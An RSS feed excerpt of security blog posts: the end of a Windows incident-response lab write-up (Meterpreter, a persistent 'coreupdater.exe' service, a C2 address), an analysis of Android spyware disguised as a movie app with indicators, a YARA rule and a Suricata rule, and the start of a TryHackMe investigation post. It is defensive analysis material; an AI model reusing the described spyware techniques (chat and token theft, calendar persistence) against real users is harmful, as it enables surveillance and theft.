&lt;span class="na"&gt;me=&lt;/span&gt;&lt;span class="s"&gt;"ImagePath"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;C:\Windows\System32\coreupdater.exe&lt;span class="nt"&gt;&amp;lt;/Data&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Data&lt;/span&gt; &lt;span class="na"&gt;Name=&lt;/span&gt;&lt;span class="s"&gt;"ServiceType"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;user mode service&lt;span class="nt"&gt;&amp;lt;/Data&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Data&lt;/span&gt; &lt;span class="na"&gt;Name=&lt;/span&gt;&lt;span class="s"&gt;"StartType"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;auto st
art&lt;span class="nt"&gt;&amp;lt;/Data&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Data&lt;/span&gt; &lt;span class="na"&gt;Name=&lt;/span&gt;&lt;span class="s"&gt;"AccountName"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;LocalSystem&lt;span class="nt"&gt;&amp;lt;/Data&amp;gt;&lt;/span&gt;-  &lt;span class="nt"&gt;&amp;lt;/EventData&amp;gt;&lt;/span&gt;-&lt;span class="nt"&gt;&amp;lt;/Event&amp;gt;&lt;/span&gt;-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So here we know more information, for example the path where the binary is stored and that is has been set up as an autostart thus here we have our persistence.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--T2t-j5fl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/06yhsxinpo1iydr3q055.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--T2t-j5fl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/06yhsxinpo1iydr3q055.png" alt="Users"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we can see the name the users of the Desktop, interestingly, there is one user called Admin and one Administrator. It is possible that one is bogus. We know that there as an authentication request between the Desktop and the DC with the Administrator string. We are not sure how to verify that part though.&lt;/p&gt;

&lt;p&gt;So we still haven't answered the question on how did the attacker got in, we aren't exactly sure how to verify this. But that could be for a latter time, we have enough material to answer all the basic questions and that seems good enough.&lt;/p&gt;

&lt;h1&gt;
  
  
  Questions
&lt;/h1&gt;

&lt;p&gt;Questions to Answer / Goals&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;What’s the Operating System of the Server?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Windows 2012 R2 x64 (Unsure)&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;What’s the Operating System of the Desktop?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Windows 2012 R2 x64&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;What was the local time of the Server?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;UTC -6&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Was there a breach?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Yes.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;What was the initial entry vector (how did they get in)?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Meterpreter was used, but initial access is still unsure (TODO)&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Was malware used? If so what was it? If there was malware answer the following:
    What process was malicious?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;coreupdater.exe&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    Identify the IP Address that delivered the payload.
    What IP Address is the malware calling to?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;203.78.103.109:443&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    Where is this malware on disk?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;C:\Windows\System32\coreupdater.exe&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    When did it first appear?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;2020-9-19, 03:42:42 UTC&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    Did someone move it?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Not that we know it.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    What were the capabilities of this malware?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Process injection.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    Is this malware easily obtained?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Yes.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    Was this malware installed with persistence on any machine?
        When?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;2020-9-19, 03:42:42 UTC&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        Where?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Autoruns&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;What malicious IP Addresses were involved?
    Were any IP Addresses from known adversary infrastructure?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Yes&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    Are these pieces of adversary infrastructure involved in other attacks
    around the time of the attack?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Detection is spoiled by other exercises.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Did the attacker access any other systems?
    How?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Kerberos Administrator ticket.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    When?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;2020-09-19T02:56:03.855&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    Did the attacker steal or access any data?
        When?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Probably, we don't know how to verify that.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;What was the network layout of the victim network?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Internet &amp;lt;-&amp;gt; Desktop &amp;lt;-&amp;gt; DC&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;What architecture changes should be made immediately?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Prevent DC to be able to be accessible from the Internet.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Did the attacker steal the Szechuan sauce? If so, what time?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;We don't know how to verify that.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Did the attacker steal or access any other sensitive files? If so, what times?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;We don't know how to verify that.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Finally, when was the last known contact with the adversary?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;2020-09-19T04:08:45.783&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;This was a fun ride, I think I still have to learn a bit more about how to verify a file access in the Windows log but building up from the PCAP and the Memory was a good fun. At some point, I was feeling I was looking into circles and searching for things I knew were there. But in the end, what matters is the learning process.&lt;/p&gt;

&lt;p&gt;Let me know if you have questions or comments!&lt;/p&gt;

</description>
      <category>security</category>
      <category>dfir</category>
      <category>windows</category>
    </item>
    <item>
      <title>The movie app that watches you watching</title>
      <dc:creator>chris</dc:creator>
      <pubDate>Wed, 12 May 2021 14:14:29 +0000</pubDate>
      <link>https://dev.to/evilcel3ri/the-movie-app-that-watches-you-watching-p6n</link>
      <guid>https://dev.to/evilcel3ri/the-movie-app-that-watches-you-watching-p6n</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Edit: 2021/05/13: improved the Yara rule to use groups of strings and added a suricata rule&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;How can a movie app be a spyware at the same time?&lt;/p&gt;

&lt;p&gt;One day, I was checking the malicious apks that have been uploaded to &lt;a href="https://beta.pithis.org" rel="noopener noreferrer"&gt;Pithus&lt;/a&gt;. I found an application called &lt;a href="https://beta.pithus.org/report/f18aba837e86025dfb9bd3fd2c4bf161f679ff1f3d10e7a480d682178051a9b9" rel="noopener noreferrer"&gt;&lt;code&gt;com.hdmovies.freemovieshd&lt;/code&gt;&lt;/a&gt; that is tagged as &lt;code&gt;spyware&lt;/code&gt; by various anti-viruses.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffpevk9a95hbgrdcn8sxa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffpevk9a95hbgrdcn8sxa.png" alt="Virus Total Results"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Quick static analysis
&lt;/h2&gt;

&lt;p&gt;First, here are some basics regarding the code retrieved from Pithus:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;some of the code is obfuscated:
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fppn3owbk8z7qo71aztpa.png" alt="pithus result"&gt;
&lt;/li&gt;
&lt;li&gt;the list of permissions on Pithus extends from read/write external storage, send/read/receive SMS, access fine location, camera, phone permissions, get accounts, read/write contacts... Too much permissions, it's fishy.&lt;/li&gt;
&lt;li&gt;the network data has some suspicious domains such as &lt;code&gt;ifronttech[.]in&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here we know that this app is &lt;em&gt;somewhat&lt;/em&gt; malicious but how deep can we go?&lt;/p&gt;

&lt;h2&gt;
  
  
  Quick dynamic analysis
&lt;/h2&gt;

&lt;p&gt;Then, we launched the app in tria.ge (see &lt;a href="https://tria.ge/210507-cgt2rcldz2/behavioral1" rel="noopener noreferrer"&gt;results&lt;/a&gt;) to have some idea of the behaviour of our target.&lt;/p&gt;

&lt;p&gt;The app seems aware of possible emulation and didn't return us substantial results except this network section sent at the launch of the app:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Remote address:
166.62.28\.102:80

Request
GET /JSONAPI/AppXender/HDMovies.json HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 11; sdk_gphone_x86_64_arm64 Build/RSR1.201211.001.A1)
Host: ifronttech\.in
Connection: Keep-Alive
Accept-Encoding: gzip

Response
HTTP/1.1 200 OK
Date: Fri, 07 May 2021 19:31:27 GMT
Server: Apache
Upgrade: h2,h2c
Connection: Upgrade, Keep-Alive
Last-Modified: Sun, 17 Jan 2021 13:38:54 GMT
ETag: "b3c057b-2d1-5b918ba013f9e-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 415
Keep-Alive: timeout=5
Content-Type: application/json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this time, we don't know if that is a network check or a C2 communication. We'll need to investigate the code itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Longer static analysis
&lt;/h2&gt;

&lt;p&gt;So it's time to boot up JADX.&lt;/p&gt;

&lt;p&gt;Classes before deobfuscation:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9bm7ixp166oqymmh4x51.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9bm7ixp166oqymmh4x51.png" alt="Before deobfuscation"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Classes after deobfuscation:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffj4ivdr9mwxohw2vyh6h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffj4ivdr9mwxohw2vyh6h.png" alt="After deobfuscation"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The most interesting part of the code is located in the package: &lt;code&gt;com.hdmovies.freemovieshd.watchmovies.info&lt;/code&gt; and everything under. The name of those classes are obviously obfuscated but that doesn't prevent us from getting the general logic of the code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Obfuscation technique
&lt;/h3&gt;

&lt;p&gt;The code implements a custom deobfuscation technique with the method &lt;code&gt;huhaa46()&lt;/code&gt; from the &lt;code&gt;qedthong&lt;/code&gt; class, illustrated here:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F164msa91g5gzajacic6v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F164msa91g5gzajacic6v.png" alt="Obfuscation technique"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If will remove the "hognq" part of the string if it founds it and then try to decode it from base64. There a number of variables from options values to export files that are simply encoded in base64 and not using that system.&lt;/p&gt;

&lt;h3&gt;
  
  
  The app will scan for all your files
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9uu1oxb20kb6ilby7kzu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9uu1oxb20kb6ilby7kzu.png" alt="File grabber"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This function will scan for files in your external storage and then process them with the obfuscated function &lt;code&gt;qnqwerhong.qsavelivethong()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This function will create a file which name is encoded in Base64 (&lt;code&gt;TGl2ZS50eHQ=&lt;/code&gt; which decode to &lt;code&gt;file.txt&lt;/code&gt;) with the name of all the scanned files.&lt;/p&gt;

&lt;h3&gt;
  
  
  The app will record you
&lt;/h3&gt;

&lt;p&gt;In &lt;code&gt;qhieightrehong&lt;/code&gt; class you can see the app setting up the audio module from your phone and launch the mic with &lt;code&gt;setSpeakerPhoneOne(true)&lt;/code&gt; (&lt;a href="https://developer.android.com/reference/android/media/AudioManager#setSpeakerphoneOn(boolean)" rel="noopener noreferrer"&gt;link&lt;/a&gt; to Android documentation).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnpt1pxp127ssuwj6isg5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnpt1pxp127ssuwj6isg5.png" alt="Recording section"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The app will steal your Signal or Whatsapp conversations
&lt;/h3&gt;

&lt;p&gt;This might be the most substantial findings in the analysis of this application. It will look for archives of your Signal or Whatsapp folders and then grab everything it can from it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F328jln93w53h4h4j42hn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F328jln93w53h4h4j42hn.png" alt="WhatsApp/Signal grabber"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;b3JnLnRob3VnaHRjcmltZS5zZWN1cmVzbXMvLmNvbnZlcnNhdGlvbi5Db252ZXJzYXRpb25BY3Rpdml0eQ== =&amp;gt; org.thoughtcrime.securesms/.conversation.ConversationActivity
Y29tLndoYXRzYXBwLy5Db252ZXJzYXRpb24= =&amp;gt; com.whatsapp/.Conversation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The app will log your phone calls
&lt;/h3&gt;

&lt;p&gt;The app will log your phone calls and get the list of your contacts.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fablfndbirb83dnyub54d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fablfndbirb83dnyub54d.png" alt="Phone call logger"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The app will check your wifi and geolocalise it
&lt;/h3&gt;

&lt;p&gt;Not only the app will get your wifi information but it will try to geolocalise you using those information. Indeed, some wifi have geographic coordinates.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fns24h4nt5l4xdqsw8f0y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fns24h4nt5l4xdqsw8f0y.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The app will get your carrier and all the information about your device
&lt;/h3&gt;

&lt;p&gt;The application will get all the information from your network carrier and your device. Frankly, at this point we aren't surprised anymore.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwdrqsow9esx1b6q9tmko.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwdrqsow9esx1b6q9tmko.png" alt="Carrier logger"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The app will steal your account tokens from your apps
&lt;/h3&gt;

&lt;p&gt;Each time you log in to an app, the account is linked to it with a token. This malware will steal those accounts allowing further hacking to your online accounts.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fatpjymf3fbwakfvzxp4y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fatpjymf3fbwakfvzxp4y.png" alt="App tokens grabber"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Noisy logging
&lt;/h3&gt;

&lt;p&gt;The app seems to be quite poorly coded. A lot of the obfuscation techniques are quite easy to deobfuscate and the app has a lot of very noisy, poorly written logging (allowing so much better hunting!).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvkge8p3ei8ujf7z4m9s9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvkge8p3ei8ujf7z4m9s9.png" alt="Noisy logs"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This application allows us to finally accomplish our dream to tbe hero of the films we watch... by watching us!&lt;/p&gt;

&lt;p&gt;The persistance process is made through the calendar relaunching the application in case it isn't running. The application will set up cancelled events here and there and when they ring, they will relaunch the application.&lt;/p&gt;

&lt;p&gt;The application stores the entire stolen data in .txt files and in a sqlite database with md5 on the phone itself and then, probably send it over encrypted TCP communication as we saw function implementing encryption process. In case you want to run this application in a dynamic environment, you might want to look for that.&lt;/p&gt;

&lt;p&gt;So, all in all, it's a spyware. Thank you for reading, let me know if you have questions or improvements, I'm still new at this!&lt;/p&gt;

&lt;h2&gt;
  
  
  Network indicators
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;fronttech[.]in&lt;/li&gt;
&lt;li&gt;instadownload[.]buzz&lt;/li&gt;
&lt;li&gt;135.181.154[.]21&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Hunting rules:
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rule crime_unknown_eight {
    meta:
        date = "2021-05-10"
        author = "@evilcel3ri"
        description = "Detects a specific spyware with keylogging capabilities"

    strings:
        $a = "ifronttech.in"
        $b = "b3JnLnRob3VnaHRjcmltZS5zZWN1cmVzbXMvLmNvbnZlcnNhdGlvbi5Db252ZXJzYXRpb25BY3Rpdml0eQ=="
        $c = "Y29tLndoYXRzYXBwLy5Db252ZXJzYXRpb24="
        $d = "hognq" ascii
        $e = "HD_Movie1_8_321tn" ascii
        $f = "ppbew.txt" ascii
        $g = "dGhpcyBpcyBhZ2RmaGdkZmgga2V5"
        $h = "Removeing files" ascii
        $k = "bew.txt" ascii

    condition:
        uint16(0) == 0x6564 and (($a or $e) or ((($b or $d or $c or $g) and ($k or $h or $f))))

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;alert http $HOME_NET any -&amp;gt; $EXTERNAL_NET any (msg:"PUA/Spyware HDMovies suspicious host fronttech in";http.host;content:"ifronttech.in";http.uri;content:"/JSONAPI/AppXender/HDMovies.json";flow:to_server,established;)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Details
&lt;/h2&gt;

&lt;p&gt;See details page on Pithus: &lt;a href="https://beta.pithus.org/report/f18aba837e86025dfb9bd3fd2c4bf161f679ff1f3d10e7a480d682178051a9b9" rel="noopener noreferrer"&gt;https://beta.pithus.org/report/f18aba837e86025dfb9bd3fd2c4bf161f679ff1f3d10e7a480d682178051a9b9&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Pithus is an open-source static analysis tool for malicious Android application. Check it out at: &lt;a href="https://beta.pithus.org" rel="noopener noreferrer"&gt;https://beta.pithus.org&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>security</category>
      <category>android</category>
      <category>malware</category>
    </item>
    <item>
      <title>Investigations in Windows on TryHackMe (1)</title>
      <dc:creator>chris</dc:creator>
      <pubDate>Fri, 26 Feb 2021 12:36:32 +0000</pubDate>
      <link>https://dev.to/evilcel3ri/investigations-in-windows-on-tryhackme-1-376</link>
      <guid>https://dev.to/evilcel3ri/investigations-in-windows-on-tryhackme-1-376</guid>
      <description>&lt;p&gt;I've been talking about Windows investigation &lt;a href="https://dev.to/christalib/searching-windows-event-logs-for-fun-5dnd"&gt;last time&lt;/a&gt; with EVTX. Since then, I've been reading about investigations in Windows environment and warming up &lt;a href="https://dev.to/christalib/powershell-quand-on-ne-connait-que-linux-kfe"&gt;my Powershell&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On TryHackMe, there are a 3 "Investigating Windows" boxes (&lt;a href="https://tryhackme.com/room/investigatingwindows"&gt;one&lt;/a&gt;, &lt;a href="https://tryhackme.com/room/investigatingwindows2"&gt;two&lt;/a&gt;, &lt;a href="https://tryhackme.com/room/investigatingwindows3"&gt;three&lt;/a&gt; ) and I thought it could be cool to go there. Those notes are more notes taken during the investigation than a write up. There are write ups online for the first box but they just give you the answer which really doesn't help you at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  Information gathering
&lt;/h2&gt;

&lt;p&gt;The first questions are about quick gathering of information, I've updated the commands used in my &lt;a href="https://github.com/christalib/yaCTFpl/blob/aleph/manual.md#windows-3"&gt;field manual&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A quick triage can be done with those common commands used in local reconnaissance:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;systeminfo&lt;/span&gt;&lt;span class="w"&gt;
